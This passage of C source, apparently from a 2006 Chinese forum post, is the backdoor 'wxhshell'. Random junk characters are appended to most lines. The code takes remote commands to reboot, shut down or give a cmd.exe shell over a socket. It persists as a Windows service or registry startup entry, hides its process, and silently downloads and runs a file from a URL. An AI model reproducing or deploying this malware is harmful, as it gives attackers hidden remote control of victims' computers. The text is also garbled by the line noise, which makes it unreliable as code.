  else 6wPeb~{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EMLx?JnP  
  } ,Ij=b  
  else { 1h2H1gy5I3  
X E 9)c   
    switch(cmd[0]) { J"-_{)0lD  
  TMK'(6dH  
  // 帮助 b\?3--q  
  case '?': { Yi 6Nw+$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Zvxp%dES  
    break; `)6>nPr7P  
  } q0Xoj__c!A  
  // 安装 !Cw!+fZ\l  
  case 'i': { RcQ>eZHl  
    if(Install()) j")FaIM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + 3h`UF  
    else /|?F)%v\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (^LS']ybc  
    break; vv &BhIf3  
    } iNQ0p:<k  
  // 卸载 &pM'$}T*  
  case 'r': { `)$`-Pw*  
    if(Uninstall()) e&0NK8&#+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Txo@ U  
    else -ui< E?v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QQFf5^  
    break; UFe(4]^  
    } ;|<(9u`  
  // 显示 wxhshell 所在路径 B oqJ   
  case 'p': { g`n;R  
    char svExeFile[MAX_PATH]; Q[uAIyv0  
    strcpy(svExeFile,"\n\r"); ~].ggcl`w  
      strcat(svExeFile,ExeFile); 0 " y%9  
        send(wsh,svExeFile,strlen(svExeFile),0); ^;r+W -MQ  
    break; 0z7L+2#b^  
    } cD2+hp|9  
  // 重启 U'y,YtF@  
  case 'b': { 7d ;pvhnH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NG" yPn  
    if(Boot(REBOOT)) !,Nwts>m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1CkdpYjsj  
    else { "~/9F  
    closesocket(wsh); K'aWCscM  
    ExitThread(0); +{$QAjW(/  
    } cwe1^SJ6y  
    break; ]CX[7Q+'  
    } ',{7% G9  
  // 关机 (#|{%4g@>  
  case 'd': { J-V49X#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [ ]^X`R  
    if(Boot(SHUTDOWN)) `ZMK9f:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0/ !,Dn  
    else { %WGuy@tL  
    closesocket(wsh); nWJ:=JQ i"  
    ExitThread(0); dlDki.  
    } 7LCp7$Cp  
    break;  9S1)U$  
    } _U0$=V  
  // 获取shell T5|c$doQ  
  case 's': { c0ez/q1S  
    CmdShell(wsh); he$XLTmr:  
    closesocket(wsh); r?A|d.Tl  
    ExitThread(0); ?D|\]0eN  
    break; = 96P7#%  
  } {2 %aCCV  
  // 退出 WR#0<cz(  
  case 'x': { r-IT(DzkD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v,OpTu:1  
    CloseIt(wsh); 6X)@ajGWg~  
    break; FT89*C)oD  
    } o' 'wCr%  
  // 离开 BqH]-'1G  
  case 'q': { nfdq y)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 55Gtp\L  
    closesocket(wsh); 7&B$HZ  
    WSACleanup(); _&#S@aGw  
    exit(1); q,%:h`t\  
    break; g{:<2xI5P  
        } yT8=l"-[G  
  } jS<_ )  
  } JkQ\)^5v  
qO@@8/l  
  // 提示信息 e]Fp=*#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RA O`i>@  
} TDtAmk  
  } 0?0Jz  
l2jF#<S@  
  return; W# US#<9Y  
} fc_2D|  
Ts$@s^S]  
// shell模块句柄 \qh *E#j  
int CmdShell(SOCKET sock) I+(/TP  
{ As&v Ft P  
STARTUPINFO si; <Fz~7WVd  
ZeroMemory(&si,sizeof(si)); \e3`/D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u3 0s_\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I5m][~6.?  
PROCESS_INFORMATION ProcessInfo; eqAW+Ptx  
char cmdline[]="cmd"; t.Nb? /  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bG F7Zh9  
  return 0; R&f^+0%f  
} M]]pTU((  
J%H;%ROx  
// 自身启动模式 Dnf*7)X  
int StartFromService(void) 0\9K3  
{ q`NXJf=sc  
typedef struct m!tx(XsXU  
{ [U, ?R  
  DWORD ExitStatus; <[:o !$  
  DWORD PebBaseAddress; @%ip7Y]e  
  DWORD AffinityMask; 7R4z}2F2  
  DWORD BasePriority; a|7a_s4(  
  ULONG UniqueProcessId; aUHcYc\u  
  ULONG InheritedFromUniqueProcessId; }~K`/kvs  
}   PROCESS_BASIC_INFORMATION; EZ;"'4;W  
I pzJ#  
PROCNTQSIP NtQueryInformationProcess; d?AlI  
|*/[`|*G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ) rW&c- '  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %UUH"  
d[p;T\?"  
  HANDLE             hProcess; fA/m1bYxg  
  PROCESS_BASIC_INFORMATION pbi; $$APgj"|<  
mrIh0B:`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F!zP<A "  
  if(NULL == hInst ) return 0; NA3 \  
(+uj1z^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RlT3Iz;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X\$ 0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jHN +5=l  
,Ys"W x  
  if (!NtQueryInformationProcess) return 0; H{J'# 9H  
y[B>~m8$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h$eEn l}  
  if(!hProcess) return 0; .itw04Uru  
\^I>Q _LU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vAY,E=&XvM  
.#02 ngh  
  CloseHandle(hProcess); !Z VU,b>  
kKC9{^%)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !EUan  
if(hProcess==NULL) return 0; DCqY|4Qc  
v8AS=sY4r  
HMODULE hMod; 4DZ-bt'  
char procName[255]; ifN64`AhRX  
unsigned long cbNeeded; `u>4\sv  
g&/T*L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |5Xq0nvCe  
rZ8`sIWQt  
  CloseHandle(hProcess); @gY)8xMbA  
*CHI2MB  
if(strstr(procName,"services")) return 1; // 以服务启动 &0f5:M{P  
%p%%~ewmx  
  return 0; // 注册表启动 y;/VB,4V  
} ;a:[8Yi  
N('&jHF  
// 主模块 2-Y<4'>  
int StartWxhshell(LPSTR lpCmdLine) %^RN#_ro(3  
{ mI74x3 [  
  SOCKET wsl; vWAL^?HUP  
BOOL val=TRUE; Lemui)  
  int port=0; U&O: _>~  
  struct sockaddr_in door; O/[cpRe  
'7O3/GDK  
  if(wscfg.ws_autoins) Install(); t!RiUZAo  
v:H$<~)E|  
port=atoi(lpCmdLine); ]+X@ 7  
iLSr*` o  
if(port<=0) port=wscfg.ws_port; c38D}k^):  
21"1NJzP  
  WSADATA data; /Rl6g9}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; | Bi!  
Jv^h\~*jH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ti \wg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KCs[/]  
  door.sin_family = AF_INET; =?!wXOg_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Vx.nUQ  
  door.sin_port = htons(port); %7|9sQ:  
50X([hIr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wb0L.'jyR)  
closesocket(wsl); ov, hI>0!D  
return 1; Zu7)gf  
} q.;u?,|E/  
&q9T9A OS  
  if(listen(wsl,2) == INVALID_SOCKET) { LGn:c;  
closesocket(wsl); \kZ?  
return 1; |p,P46I  
} %KLpig  
  Wxhshell(wsl); w(L4A0K[  
  WSACleanup(); s%W C/ZK  
j:v@pzTD  
return 0; :.Wr{"`  
u ,KD4{!  
} c24dSNJg,  
(JOgy .5C~  
// 以NT服务方式启动 a^I\ /&aw'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F'21jy&  
{ p^w;kN  
DWORD   status = 0; *_d7E   
  DWORD   specificError = 0xfffffff; a!v1M2>  
%V7at7>o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2fL;-\!y(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YpVD2.jy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %WjXg:R  
  serviceStatus.dwWin32ExitCode     = 0; SHfy".A6.0  
  serviceStatus.dwServiceSpecificExitCode = 0; 7fZDs j:  
  serviceStatus.dwCheckPoint       = 0; |IzPgC  
  serviceStatus.dwWaitHint       = 0; RMdk:YvBg  
YIG~MP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I=`U7Bis"  
  if (hServiceStatusHandle==0) return; 3`DQo%<  
k5'Vy8q  
status = GetLastError(); \"P%`  C  
  if (status!=NO_ERROR) rC^WPW  
{ [M=7M}f;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yb\_zE\  
    serviceStatus.dwCheckPoint       = 0; )"7iJb<E  
    serviceStatus.dwWaitHint       = 0; I&x=;   
    serviceStatus.dwWin32ExitCode     = status; L0TFo_  
    serviceStatus.dwServiceSpecificExitCode = specificError; p8Qk 'F=h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -(;26\lE  
    return; . 1Dg s=|  
  } Swig;`  
D2Kp|F;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ng2twfSl$  
  serviceStatus.dwCheckPoint       = 0; 12b(A+M   
  serviceStatus.dwWaitHint       = 0; L [pBB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  iu=7O  
} @@Kp67Iv  
Yi%;|]  
// 处理NT服务事件,比如:启动、停止 aC8} d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a%JuC2  
{ NJWA3zz   
switch(fdwControl) z]_wjYn Z  
{ $9_xGfx}  
case SERVICE_CONTROL_STOP: dy%;W%  
  serviceStatus.dwWin32ExitCode = 0; Q{>+ft U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /NI;P]s.  
  serviceStatus.dwCheckPoint   = 0; BYL)nCc  
  serviceStatus.dwWaitHint     = 0;  M^=zt  
  { wDal5GJp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P~>O S5^  
  } k<CJ{u0<  
  return; P64PPbP  
case SERVICE_CONTROL_PAUSE: 'CM|@Zz%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c_$=-Khk  
  break; @<hb6bo,N  
case SERVICE_CONTROL_CONTINUE: O`IQ(,yef  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  MzdV2.  
  break; %} SrL*  
case SERVICE_CONTROL_INTERROGATE: g[' ^L +hd  
  break; q$d>(vb q  
}; e:DCej^z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xX&+WR  
} PbJ(:`u  
\h/H#j ZJ  
// 标准应用程序主函数 ^,TO#%$iE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SaO}e  
{ 'x#~'v*  
@alK;\  
// 获取操作系统版本 gV's=cQ  
OsIsNt=GetOsVer(); mp1@|*Sn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ju@c~Xm  
X]TG<r  
  // 从命令行安装 m]6mGp  
  if(strpbrk(lpCmdLine,"iI")) Install(); w3ResQ   
hn G Z=  
  // 下载执行文件 "<N*"euH  
if(wscfg.ws_downexe) { gh]cXuph  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {UI+$/v#  
  WinExec(wscfg.ws_filenam,SW_HIDE); n:?a$Ldgm  
} g wRZ%.Cn  
,]F,Uu_H7  
if(!OsIsNt) { -l*|M(N\  
// 如果时win9x,隐藏进程并且设置为注册表启动 tCH!my_  
HideProc(); ^}=,g  
StartWxhshell(lpCmdLine); ASA,{w]  
} 9s q  
else *~e?TfG  
  if(StartFromService()) `4J$Et%S  
  // 以服务方式启动 $ bR~+C  
  StartServiceCtrlDispatcher(DispatchTable); x=P\qjSa  
else Se}c[|8  
  // 普通方式启动 97*p+T<yp  
  StartWxhshell(lpCmdLine); NH4#  
A}9`S6@@  
return 0; K;G~V\  
}
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只看该作者 1 发表于: 2006-10-10
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